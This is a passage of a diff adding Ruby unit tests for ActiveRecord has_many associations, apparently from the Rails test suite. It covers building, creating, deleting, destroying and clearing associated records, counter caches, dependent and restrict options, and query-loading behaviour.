+ assert_not_predicate company.contracts, :empty?
+ end
+
+ def test_collection_size_twice_for_regressions
+ post = posts(:thinking)
+ assert_equal 0, post.readers.size
+ # This test needs a post that has no readers, we assert it to ensure it holds,
+ # but need to reload the post because the very call to #size hides the bug.
+ post.reload
+ post.readers.build
+ size1 = post.readers.size
+ size2 = post.readers.size
+ assert_equal size1, size2
+ end
+
+ def test_build_many
+ company = companies(:first_firm)
+ new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+ assert_equal 2, new_clients.size
+ end
+
+ def test_build_followed_by_save_does_not_load_target
+ companies(:first_firm).clients_of_firm.build("name" => "Another Client")
+ assert companies(:first_firm).save
+ assert !companies(:first_firm).clients_of_firm.loaded?
+ end
+
+ def test_build_without_loading_association
+ first_topic = topics(:first)
+ Reply.column_names
+
+ assert_equal 1, first_topic.replies.length
+
+ assert_no_queries do
+ first_topic.replies.build(:title => "Not saved", :content => "Superstars")
+ assert_equal 2, first_topic.replies.size
+ end
+
+ assert_equal 2, first_topic.replies.to_ary.size
+ end
+
+ def test_build_via_block
+ company = companies(:first_firm)
+ new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+ assert !company.clients_of_firm.loaded?
+
+ assert_equal "Another Client", new_client.name
+ assert !new_client.persisted?
+ assert_equal new_client, company.clients_of_firm.last
+ end
+
+ def test_build_many_via_block
+ company = companies(:first_firm)
+ new_clients = assert_no_queries do
+ company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
+ client.name = "changed"
+ end
+ end
+
+ assert_equal 2, new_clients.size
+ assert_equal "changed", new_clients.first.name
+ assert_equal "changed", new_clients.last.name
+ end
+
+ def test_create_without_loading_association
+ first_firm = companies(:first_firm)
+ Firm.column_names
+ Client.column_names
+
+ assert_equal 1, first_firm.clients_of_firm.size
+ first_firm.clients_of_firm.reset
+
+ assert_queries(1) do
+ first_firm.clients_of_firm.create(:name => "Superstars")
+ end
+
+ assert_equal 2, first_firm.clients_of_firm.size
+ end
+
+ def test_create
+ force_signal37_to_load_all_clients_of_firm
+ new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+ assert new_client.persisted?
+ assert_equal new_client, companies(:first_firm).clients_of_firm.last
+ assert_equal new_client, companies(:first_firm).clients_of_firm(true).last
+ end
+
+ def test_create_many
+ companies(:first_firm).clients_of_firm.create([{"name" => "Another Client"}, {"name" => "Another Client II"}])
+ assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_create_followed_by_save_does_not_load_target
+ companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+ assert companies(:first_firm).save
+ assert !companies(:first_firm).clients_of_firm.loaded?
+ end
+
+ def test_deleting
+ force_signal37_to_load_all_clients_of_firm
+ companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
+ assert_equal 0, companies(:first_firm).clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_deleting_before_save
+ new_firm = Firm.new("name" => "A New Firm, Inc.")
+ new_client = new_firm.clients_of_firm.build("name" => "Another Client")
+ assert_equal 1, new_firm.clients_of_firm.size
+ new_firm.clients_of_firm.delete(new_client)
+ assert_equal 0, new_firm.clients_of_firm.size
+ end
+
+ def test_deleting_updates_counter_cache
+ topic = Topic.order("id ASC").first
+ assert_equal topic.replies.to_a.size, topic.replies_count
+
+ topic.replies.delete(topic.replies.first)
+ topic.reload
+ assert_equal topic.replies.to_a.size, topic.replies_count
+ end
+
+ def test_pushing_association_updates_counter_cache
+ topic = Topic.order("id ASC").first
+ reply = Reply.create!
+
+ assert_difference "topic.reload.replies_count", 1 do
+ topic.replies << reply
+ end
+ end
+
+ def test_deleting_updates_counter_cache_without_dependent_option
+ post = posts(:welcome)
+
+ assert_difference "post.reload.taggings_count", -1 do
+ post.taggings.delete(post.taggings.first)
+ end
+ end
+
+ def test_deleting_updates_counter_cache_with_dependent_delete_all
+ post = posts(:welcome)
+ post.update_columns(taggings_with_delete_all_count: post.taggings_count)
+
+ assert_difference "post.reload.taggings_with_delete_all_count", -1 do
+ post.taggings_with_delete_all.delete(post.taggings_with_delete_all.first)
+ end
+ end
+
+ def test_deleting_updates_counter_cache_with_dependent_destroy
+ post = posts(:welcome)
+ post.update_columns(taggings_with_destroy_count: post.taggings_count)
+
+ assert_difference "post.reload.taggings_with_destroy_count", -1 do
+ post.taggings_with_destroy.delete(post.taggings_with_destroy.first)
+ end
+ end
+
+ def test_custom_named_counter_cache
+ topic = topics(:first)
+
+ assert_difference "topic.reload.replies_count", -1 do
+ topic.approved_replies.clear
+ end
+ end
+
+ def test_calling_update_attributes_on_id_changes_the_counter_cache
+ topic = Topic.order("id ASC").first
+ original_count = topic.replies.to_a.size
+ assert_equal original_count, topic.replies_count
+
+ first_reply = topic.replies.first
+ first_reply.update_attributes(:parent_id => nil)
+ assert_equal original_count - 1, topic.reload.replies_count
+
+ first_reply.update_attributes(:parent_id => topic.id)
+ assert_equal original_count, topic.reload.replies_count
+ end
+
+ def test_calling_update_attributes_changing_ids_doesnt_change_counter_cache
+ topic1 = Topic.find(1)
+ topic2 = Topic.find(3)
+ original_count1 = topic1.replies.to_a.size
+ original_count2 = topic2.replies.to_a.size
+
+ reply1 = topic1.replies.first
+ reply2 = topic2.replies.first
+
+ reply1.update_attributes(:parent_id => topic2.id)
+ assert_equal original_count1 - 1, topic1.reload.replies_count
+ assert_equal original_count2 + 1, topic2.reload.replies_count
+
+ reply2.update_attributes(:parent_id => topic1.id)
+ assert_equal original_count1, topic1.reload.replies_count
+ assert_equal original_count2, topic2.reload.replies_count
+ end
+
+ def test_deleting_a_collection
+ force_signal37_to_load_all_clients_of_firm
+ companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+ assert_equal 2, companies(:first_firm).clients_of_firm.size
+ companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+ assert_equal 0, companies(:first_firm).clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_delete_all
+ force_signal37_to_load_all_clients_of_firm
+ companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+ clients = companies(:first_firm).clients_of_firm.to_a
+ assert_equal 2, clients.count
+ deleted = companies(:first_firm).clients_of_firm.delete_all
+ assert_equal clients.sort_by(&:id), deleted.sort_by(&:id)
+ assert_equal 0, companies(:first_firm).clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_delete_all_with_not_yet_loaded_association_collection
+ force_signal37_to_load_all_clients_of_firm
+ companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+ assert_equal 2, companies(:first_firm).clients_of_firm.size
+ companies(:first_firm).clients_of_firm.reset
+ companies(:first_firm).clients_of_firm.delete_all
+ assert_equal 0, companies(:first_firm).clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_transaction_when_deleting_persisted
+ good = Client.new(:name => "Good")
+ bad = Client.new(:name => "Bad", :raise_on_destroy => true)
+
+ companies(:first_firm).clients_of_firm = [good, bad]
+
+ begin
+ companies(:first_firm).clients_of_firm.destroy(good, bad)
+ rescue Client::RaisedOnDestroy
+ end
+
+ assert_equal [good, bad], companies(:first_firm).clients_of_firm(true)
+ end
+
+ def test_transaction_when_deleting_new_record
+ assert_no_queries do
+ firm = Firm.new
+ client = Client.new("name" => "New Client")
+ firm.clients_of_firm << client
+ firm.clients_of_firm.destroy(client)
+ end
+ end
+
+ def test_clearing_an_association_collection
+ firm = companies(:first_firm)
+ client_id = firm.clients_of_firm.first.id
+ assert_equal 1, firm.clients_of_firm.size
+
+ firm.clients_of_firm.clear
+
+ assert_equal 0, firm.clients_of_firm.size
+ assert_equal 0, firm.clients_of_firm(true).size
+ assert_equal [], Client.destroyed_client_ids[firm.id]
+
+ # Should not be destroyed since the association is not dependent.
+ assert_nothing_raised do
+ assert_nil Client.find(client_id).firm
+ end
+ end
+
+ def test_clearing_updates_counter_cache
+ topic = Topic.first
+
+ assert_difference 'topic.reload.replies_count', -1 do
+ topic.replies.clear
+ end
+ end
+
+ def test_clearing_updates_counter_cache_when_inverse_counter_cache_is_a_symbol_with_dependent_destroy
+ car = Car.first
+ car.engines.create!
+
+ assert_difference 'car.reload.engines_count', -1 do
+ car.engines.clear
+ end
+ end
+
+ def test_clearing_a_dependent_association_collection
+ firm = companies(:first_firm)
+ client_id = firm.dependent_clients_of_firm.first.id
+ assert_equal 1, firm.dependent_clients_of_firm.size
+
+ # :dependent means destroy is called on each client
+ firm.dependent_clients_of_firm.clear
+
+ assert_equal 0, firm.dependent_clients_of_firm.size
+ assert_equal 0, firm.dependent_clients_of_firm(true).size
+ assert_equal [client_id], Client.destroyed_client_ids[firm.id]
+
+ # Should be destroyed since the association is dependent.
+ assert_nil Client.find_by_id(client_id)
+ end
+
+ def test_clearing_an_exclusively_dependent_association_collection
+ firm = companies(:first_firm)
+ client_id = firm.exclusively_dependent_clients_of_firm.first.id
+ assert_equal 1, firm.exclusively_dependent_clients_of_firm.size
+
+ assert_equal [], Client.destroyed_client_ids[firm.id]
+
+ # :exclusively_dependent means each client is deleted directly from
+ # the database without looping through them calling destroy.
+ firm.exclusively_dependent_clients_of_firm.clear
+
+ assert_equal 0, firm.exclusively_dependent_clients_of_firm.size
+ assert_equal 0, firm.exclusively_dependent_clients_of_firm(true).size
+ # no destroy-filters should have been called
+ assert_equal [], Client.destroyed_client_ids[firm.id]
+
+ # Should be destroyed since the association is exclusively dependent.
+ assert_nil Client.find_by_id(client_id)
+ end
+
+ def test_dependent_association_respects_optional_conditions_on_delete
+ firm = companies(:odegy)
+ Client.create(:client_of => firm.id, :name => "BigShot Inc.")
+ Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
+ # only one of two clients is included in the association due to the :conditions key
+ assert_equal 2, Client.where(client_of: firm.id).size
+ assert_equal 1, firm.dependent_conditional_clients_of_firm.size
+ firm.destroy
+ # only the correctly associated client should have been deleted
+ assert_equal 1, Client.where(client_of: firm.id).size
+ end
+
+ def test_dependent_association_respects_optional_sanitized_conditions_on_delete
+ firm = companies(:odegy)
+ Client.create(:client_of => firm.id, :name => "BigShot Inc.")
+ Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
+ # only one of two clients is included in the association due to the :conditions key
+ assert_equal 2, Client.where(client_of: firm.id).size
+ assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
+ firm.destroy
+ # only the correctly associated client should have been deleted
+ assert_equal 1, Client.where(client_of: firm.id).size
+ end
+
+ def test_dependent_association_respects_optional_hash_conditions_on_delete
+ firm = companies(:odegy)
+ Client.create(:client_of => firm.id, :name => "BigShot Inc.")
+ Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
+ # only one of two clients is included in the association due to the :conditions key
+ assert_equal 2, Client.where(client_of: firm.id).size
+ assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
+ firm.destroy
+ # only the correctly associated client should have been deleted
+ assert_equal 1, Client.where(client_of: firm.id).size
+ end
+
+ def test_delete_all_association_with_primary_key_deletes_correct_records
+ firm = Firm.first
+ # break the vanilla firm_id foreign key
+ assert_equal 2, firm.clients.count
+ firm.clients.first.update_columns(firm_id: nil)
+ assert_equal 1, firm.clients(true).count
+ assert_equal 1, firm.clients_using_primary_key_with_delete_all.count
+ old_record = firm.clients_using_primary_key_with_delete_all.first
+ firm = Firm.first
+ firm.destroy
+ assert_nil Client.find_by_id(old_record.id)
+ end
+
+ def test_creation_respects_hash_condition
+ ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.build
+
+ assert ms_client.save
+ assert_equal 'Microsoft', ms_client.name
+
+ another_ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.create
+
+ assert another_ms_client.persisted?
+ assert_equal 'Microsoft', another_ms_client.name
+ end
+
+ def test_clearing_without_initial_access
+ firm = companies(:first_firm)
+
+ firm.clients_of_firm.clear
+
+ assert_equal 0, firm.clients_of_firm.size
+ assert_equal 0, firm.clients_of_firm(true).size
+ end
+
+ def test_deleting_a_item_which_is_not_in_the_collection
+ force_signal37_to_load_all_clients_of_firm
+ summit = Client.find_by_name('Summit')
+ companies(:first_firm).clients_of_firm.delete(summit)
+ assert_equal 1, companies(:first_firm).clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 2, summit.client_of
+ end
+
+ def test_deleting_by_fixnum_id
+ david = Developer.find(1)
+
+ assert_difference 'david.projects.count', -1 do
+ assert_equal 1, david.projects.delete(1).size
+ end
+
+ assert_equal 1, david.projects.size
+ end
+
+ def test_deleting_by_string_id
+ david = Developer.find(1)
+
+ assert_difference 'david.projects.count', -1 do
+ assert_equal 1, david.projects.delete('1').size
+ end
+
+ assert_equal 1, david.projects.size
+ end
+
+ def test_deleting_self_type_mismatch
+ david = Developer.find(1)
+ david.projects.reload
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(Project.find(1).developers) }
+ end
+
+ def test_destroying
+ force_signal37_to_load_all_clients_of_firm
+
+ assert_difference "Client.count", -1 do
+ companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
+ end
+
+ assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_destroying_by_fixnum_id
+ force_signal37_to_load_all_clients_of_firm
+
+ assert_difference "Client.count", -1 do
+ companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id)
+ end
+
+ assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_destroying_by_string_id
+ force_signal37_to_load_all_clients_of_firm
+
+ assert_difference "Client.count", -1 do
+ companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id.to_s)
+ end
+
+ assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_destroying_a_collection
+ force_signal37_to_load_all_clients_of_firm
+ companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+ assert_equal 2, companies(:first_firm).clients_of_firm.size
+
+ assert_difference "Client.count", -2 do
+ companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+ end
+
+ assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+ assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_destroy_all
+ force_signal37_to_load_all_clients_of_firm
+ clients = companies(:first_firm).clients_of_firm.to_a
+ assert !clients.empty?, "37signals has clients after load"
+ destroyed = companies(:first_firm).clients_of_firm.destroy_all
+ assert_equal clients.sort_by(&:id), destroyed.sort_by(&:id)
+ assert destroyed.all? { |client| client.frozen? }, "destroyed clients should be frozen"
+ assert companies(:first_firm).clients_of_firm.empty?, "37signals has no clients after destroy all"
+ assert companies(:first_firm).clients_of_firm(true).empty?, "37signals has no clients after destroy all and refresh"
+ end
+
+ def test_dependence
+ firm = companies(:first_firm)
+ assert_equal 2, firm.clients.size
+ firm.destroy
+ assert Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.empty?
+ end
+
+ def test_dependence_for_associations_with_hash_condition
+ david = authors(:david)
+ assert_difference('Post.count', -1) { assert david.destroy }
+ end
+
+ def test_destroy_dependent_when_deleted_from_association
+ # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
+ firm = Firm.all.merge!(:order => "id").first
+ assert_equal 2, firm.clients.size
+
+ client = firm.clients.first
+ firm.clients.delete(client)
+
+ assert_raise(ActiveRecord::RecordNotFound) { Client.find(client.id) }
+ assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(client.id) }
+ assert_equal 1, firm.clients.size
+ end
+
+ def test_three_levels_of_dependence
+ topic = Topic.create "title" => "neat and simple"
+ reply = topic.replies.create "title" => "neat and simple", "content" => "still digging it"
+ reply.replies.create "title" => "neat and simple", "content" => "ain't complaining"
+
+ assert_nothing_raised { topic.destroy }
+ end
+
+ uses_transaction :test_dependence_with_transaction_support_on_failure
+ def test_dependence_with_transaction_support_on_failure
+ firm = companies(:first_firm)
+ clients = firm.clients
+ assert_equal 2, clients.length
+ clients.last.instance_eval { def overwrite_to_raise() raise "Trigger rollback" end }
+
+ firm.destroy rescue "do nothing"
+
+ assert_equal 2, Client.all.merge!(:where => "firm_id=#{firm.id}").to_a.size
+ end
+
+ def test_dependence_on_account
+ num_accounts = Account.count
+ companies(:first_firm).destroy
+ assert_equal num_accounts - 1, Account.count
+ end
+
+ def test_depends_and_nullify
+ num_accounts = Account.count
+
+ core = companies(:rails_core)
+ assert_equal accounts(:rails_core_account), core.account
+ assert_equal companies(:leetsoft, :jadedpixel), core.companies
+ core.destroy
+ assert_nil accounts(:rails_core_account).reload.firm_id
+ assert_nil companies(:leetsoft).reload.client_of
+ assert_nil companies(:jadedpixel).reload.client_of
+
+ assert_equal num_accounts, Account.count
+ end
+
+ def test_restrict
+ firm = RestrictedFirm.create!(:name => 'restrict')
+ firm.companies.create(:name => 'child')
+
+ assert !firm.companies.empty?
+ assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+ assert RestrictedFirm.exists?(:name => 'restrict')
+ assert firm.companies.exists?(:name => 'child')
+ end
+
+ def test_restrict_is_deprecated
+ klass = Class.new(ActiveRecord::Base)
+ assert_deprecated { klass.has_many :posts, dependent: :restrict }
+ end
+
+ def test_restrict_with_exception
+ firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
+ firm.companies.create(:name => 'child')
+
+ assert !firm.companies.empty?
+ assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+ assert RestrictedWithExceptionFirm.exists?(:name => 'restrict')
+ assert firm.companies.exists?(:name => 'child')
+ end
+
+ def test_restrict_with_error
+ firm = RestrictedWithErrorFirm.create!(:name => 'restrict')
+ firm.companies.create(:name => 'child')
+
+ assert !firm.companies.empty?
+
+ firm.destroy
+
+ assert !firm.errors.empty?
+
+ assert_equal "Cannot delete record because dependent companies exist", firm.errors[:base].first
+ assert RestrictedWithErrorFirm.exists?(:name => 'restrict')
+ assert firm.companies.exists?(:name => 'child')
+ end
+
+ def test_included_in_collection
+ assert companies(:first_firm).clients.include?(Client.find(2))
+ end
+
+ def test_included_in_collection_for_new_records
+ client = Client.create(:name => 'Persisted')
+ assert_nil client.client_of
+ assert !Firm.new.clients_of_firm.include?(client),
+ 'includes a client that does not belong to any firm'
+ end
+
+ def test_adding_array_and_collection
+ assert_nothing_raised { Firm.first.clients + Firm.all.last.clients }
+ end
+
+ def test_replace_with_less
+ firm = Firm.all.merge!(:order => "id").first
+ firm.clients = [companies(:first_client)]
+ assert firm.save, "Could not save firm"
+ firm.reload
+ assert_equal 1, firm.clients.length
+ end
+
+ def test_replace_with_less_and_dependent_nullify
+ num_companies = Company.count
+ companies(:rails_core).companies = []
+ assert_equal num_companies, Company.count
+ end
+
+ def test_replace_with_new
+ firm = Firm.all.merge!(:order => "id").first
+ firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+ firm.save
+ firm.reload
+ assert_equal 2, firm.clients.length
+ assert !firm.clients.include?(:first_client)
+ end
+
+ def test_replace_failure
+ firm = companies(:first_firm)
+ account = Account.new
+ orig_accounts = firm.accounts.to_a
+
+ assert !account.valid?
+ assert !orig_accounts.empty?
+ assert_raise ActiveRecord::RecordNotSaved do
+ firm.accounts = [account]
+ end
+ assert_equal orig_accounts, firm.accounts
+ end
+
+ def test_transactions_when_replacing_on_persisted
+ good = Client.new(:name => "Good")
+ bad = Client.new(:name => "Bad", :raise_on_save => true)
+
+ companies(:first_firm).clients_of_firm = [good]
+
+ begin
+ companies(:first_firm).clients_of_firm = [bad]
+ rescue Client::RaisedOnSave
+ end
+
+ assert_equal [good], companies(:first_firm).clients_of_firm(true)
+ end
+
+ def test_transactions_when_replacing_on_new_record
+ assert_no_queries do
+ firm = Firm.new
+ firm.clients_of_firm = [Client.new("name" => "New Client")]
+ end
+ end
+
+ def test_get_ids
+ assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
+ end
+
+ def test_get_ids_for_loaded_associations
+ company = companies(:first_firm)
+ company.clients(true)
+ assert_queries(0) do
+ company.client_ids
+ company.client_ids
+ end
+ end
+
+ def test_get_ids_for_unloaded_associations_does_not_load_them
+ company = companies(:first_firm)
+ assert !company.clients.loaded?
+ assert_equal [companies(:first_client).id, companies(:second_client).id], company.client_ids
+ assert !company.clients.loaded?
+ end
+
+ def test_get_ids_ignores_include_option
+ assert_equal [readers(:michael_welcome).id], posts(:welcome).readers_with_person_ids
+ end
+
+ def test_get_ids_for_unloaded_finder_sql_associations_loads_them
+ company = companies(:first_firm)
+ assert !company.clients_using_sql.loaded?
+ assert_equal [companies(:second_client).id], company.clients_using_sql_ids
+ assert company.clients_using_sql.loaded?
+ end
+
+ def test_get_ids_for_ordered_association
+ assert_equal [companies(:second_client).id, companies(:first_client).id], companies(:first_firm).clients_ordered_by_name_ids
+ end
+
+ def test_assign_ids_ignoring_blanks
+ firm = Firm.create!(:name => 'Apple')
+ firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, '']
+ firm.save!
+
+ assert_equal 2, firm.clients(true).size
+ assert firm.clients.include?(companies(:second_client))
+ end
+
+ def test_get_ids_for_through
+ assert_equal [comments(:eager_other_comment1).id], authors(:mary).comment_ids
+ end
+
+ def test_modifying_a_through_a_has_many_should_raise
+ [
+ lambda { authors(:mary).comment_ids = [comments(:greetings).id, comments(:more_greetings).id] },
+ lambda { authors(:mary).comments = [comments(:greetings), comments(:more_greetings)] },
+ lambda { authors(:mary).comments << Comment.create!(:body => "Yay", :post_id => 424242) },
+ lambda { authors(:mary).comments.delete(authors(:mary).comments.first) },
+ ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
+ end
+
+ def test_dynamic_find_should_respect_association_order_for_through
+ assert_equal Comment.find(10), authors(:david).comments_desc.where("comments.type = 'SpecialComment'").first
+ assert_equal Comment.find(10), authors(:david).comments_desc.find_by_type('SpecialComment')
+ end
+
+ def test_has_many_through_respects_hash_conditions
+ assert_equal authors(:david).hello_posts, authors(:david).hello_posts_with_hash_conditions
+ assert_equal authors(:david).hello_post_comments, authors(:david).hello_post_comments_with_hash_conditions
+ end
+
+ def test_include_uses_array_include_after_loaded
+ firm = companies(:first_firm)
+ firm.clients.load_target
+
+ client = firm.clients.first
+
+ assert_no_queries do
+ assert firm.clients.loaded?
+ assert firm.clients.include?(client)
+ end
+ end
+
+ def test_include_checks_if_record_exists_if_target_not_loaded
+ firm = companies(:first_firm)
+ client = firm.clients.first
+
+ firm.reload
+ assert ! firm.clients.loaded?
+ assert_queries(1) do
+ assert firm.clients.include?(client)
+ end
+ assert ! firm.clients.loaded?
+ end
+
+ def test_include_loads_collection_if_target_uses_finder_sql
+ firm = companies(:first_firm)
+ client = firm.clients_using_sql.first
+
+ firm.reload
+ assert ! firm.clients_using_sql.loaded?
+ assert firm.clients_using_sql.include?(client)
+ assert firm.clients_using_sql.loaded?
+ end
+
+
+ def test_include_returns_false_for_non_matching_record_to_verify_scoping
+ firm = companies(:first_firm)
+ client = Client.create!(:name => 'Not Associated')
+
+ assert ! firm.clients.loaded?
+ assert ! firm.clients.include?(client)
+ end
+
+ def test_calling_first_or_last_on_association_should_not_load_association
+ firm = companies(:first_firm)
+ firm.clients.first
+ firm.clients.last
+ assert !firm.clients.loaded?
+ end
+
+ def test_calling_first_or_last_on_loaded_association_should_not_fetch_with_query
+ firm = companies(:first_firm)
+ firm.clients.load_target
+ assert firm.clients.loaded?
+
+ assert_no_queries do
+ firm.clients.first
+ assert_equal 2, firm.clients.first(2).size
+ firm.clients.last
+ assert_equal 2, firm.clients.last(2).size
+ end
+ end
+
+ def test_calling_first_or_last_on_existing_record_with_build_should_load_association
+ firm = companies(:first_firm)
+ firm.clients.build(:name => 'Foo')
+ assert !firm.clients.loaded?
+
+ assert_queries 1 do
+ firm.clients.first
+ firm.clients.last
+ end
+
+ assert firm.clients.loaded?
+ end
+
+ def test_calling_first_or_last_on_existing_record_with_create_should_not_load_association
+ firm = companies(:first_firm)
+ firm.clients.create(:name => 'Foo')
+ assert !firm.clients.loaded?
+
+ assert_queries 2 do
+ firm.clients.first
+ firm.clients.last
+ end
+
+ assert !firm.clients.loaded?
+ end
+
+ def test_calling_first_or_last_on_new_record_should_not_run_queries
+ firm = Firm.new
+
+ assert_no_queries do
+ firm.clients.first
+ firm.clients.last
+ end
+ end
+
+ def test_custom_primary_key_on_new_record_should_fetch_with_query
+ author = Author.new(:name => "David")
+ assert !author.essays.loaded?
+
+ assert_queries 1 do
+ assert_equal 1, author.essays.size
+ end
+
+ assert_equal author.essays, Essay.where(writer_id: "David")
+ end
+
+ def test_has_many_custom_primary_key
+ david = authors(:david)
+ assert_equal david.essays, Essay.where(writer_id: "David")
+ end
+
+ def test_blank_custom_primary_key_on_new_record_should_not_run_queries
+ author = Author.new
+ assert !author.essays.loaded?
+
+ assert_queries 0 do
+ assert_equal 0, author.essays.size
+ end
+ end
+
+ def test_calling_first_or_last_with_integer_on_association_should_load_association
+ firm = companies(:first_firm)
+
+ assert_queries 1 do
+ firm.clients.first(2)
+ firm.clients.last(2)
+ end
+
+ assert firm.clients.loaded?
+ end
+
+ def test_calling_many_should_count_instead_of_loading_association
+ firm = companies(:first_firm)
+ assert_queries(1) do
+ firm.clients.many? # use count query
+ end
+ assert !firm.clients.loaded?
+ end
+
+ def test_calling_many_on_loaded_association_should_not_use_query
+ firm = companies(:first_firm)
+ firm.clients.collect # force load
+ assert_no_queries { assert firm.clients.many? }
+ end
+
+ def test_calling_many_should_defer_to_collection_if_using_a_block
+ firm = companies(:first_firm)
+ assert_queries(1) do
+ firm.clients.expects(:size).never
+ firm.clients.many? { true }
+ end
+ assert firm.clients.loaded?
+ end
+
+ def test_calling_many_should_return_false_if_none_or_one
+ firm = companies(:another_firm)
+ assert !firm.clients_like_ms.many?
+ assert_equal 0, firm.clients_like_ms.size
+
+ firm = companies(:first_firm)
+ assert !firm.limited_clients.many?
+ assert_equal 1, firm.limited_clients.size
+ end
+
+ def test_calling_many_should_return_true_if_more_than_one
+ firm = companies(:first_firm)
+ assert firm.clients.many?
+ assert_equal 2, firm.clients.size
+ end
+
+ def test_joins_with_namespaced_model_should_use_correct_type
+ old = ActiveRecord::Base.store_full_sti_class
+ ActiveRecord::Base.store_full_sti_class = true
+
+ firm = Namespaced::Firm.create({ :name => 'Some Company' })
+ firm.clients.create({ :name => 'Some Client' })
+
+ stats = Namespaced::Firm.all.merge!(
+ :select => "#{Namespaced::Firm.table_name}.id, COUNT(#{Namespaced::Client.table_name}.id) AS num_clients",
+ :joins => :clients,
+ :group => "#{Namespaced::Firm.table_name}.id"
+ ).find firm.id
+ assert_equal 1, stats.num_clients.to_i
+ ensure
+ ActiveRecord::Base.store_full_sti_class = old
+ end
+
+ def test_association_proxy_transaction_method_starts_transaction_in_association_class
+ Comment.expects(:transaction)
+ Post.first.comments.transaction do
+ # nothing
+ end
+ end
+
+ def test_sending_new_to_association_proxy_should_have_same_effect_as_calling_new
+ client_association = companies(:first_firm).clients
+ assert_equal client_association.new.attributes, client_association.send(:new).attributes
+ end
+
+ def test_respond_to_private_class_methods
+ client_association = companies(:first_firm).clients
+ assert !client_association.respond_to?(:private_method)
+ assert client_association.respond_to?(:private_method, true)
+ end
+
+ def test_creating_using_primary_key
+ firm = Firm.all.merge!(:order => "id").first
+ client = firm.clients_using_primary_key.create!(:name => 'test')
+ assert_equal firm.name, client.firm_name
+ end
+
+ def test_defining_has_many_association_with_delete_all_dependency_lazily_evaluates_target_class
+ ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
+ class_eval(<<-EOF, __FILE__, __LINE__ + 1)
+ class DeleteAllModel < ActiveRecord::Base
+ has_many :nonentities, :dependent => :delete_all
+ end
+ EOF
+ end
+
+ def test_defining_has_many_association_with_nullify_dependency_lazily_evaluates_target_class
+ ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
+ class_eval(<<-EOF, __FILE__, __LINE__ + 1)
+ class NullifyModel < ActiveRecord::Base
+ has_many :nonentities, :dependent => :nullify
+ end
+ EOF
+ end
+
+ def test_attributes_are_being_set_when_initialized_from_has_many_association_with_where_clause
+ new_comment = posts(:welcome).comments.where(:body => "Some content").build
+ assert_equal new_comment.body, "Some content"
+ end
+
+ def test_attributes_are_being_set_when_initialized_from_has_many_association_with_multiple_where_clauses
+ new_comment = posts(:welcome).comments.where(:body => "Some content").where(:type => 'SpecialComment').build
+ assert_equal new_comment.body, "Some content"
+ assert_equal new_comment.type, "SpecialComment"
+ assert_equal new_comment.post_id, posts(:welcome).id
+ end
+
+ def test_include_method_in_has_many_association_should_return_true_for_instance_added_with_build
+ post = Post.new
+ comment = post.comments.build
+ assert post.comments.include?(comment)
+ end
+
+ def test_load_target_respects_protected_attributes
+ topic = Topic.create!
+ reply = topic.replies.create(:title => "reply 1")
+ reply.approved = false
+ reply.save!
+
+ # Save with a different object instance, so the instance that's still held
+ # in topic.relies doesn't know about the changed attribute.
+ reply2 = Reply.find(reply.id)
+ reply2.approved = true
+ reply2.save!
+
+ # Force loading the collection from the db. This will merge the existing
+ # object (reply) with what gets loaded from the db (which includes the
+ # changed approved attribute). approved is a protected attribute, so if mass
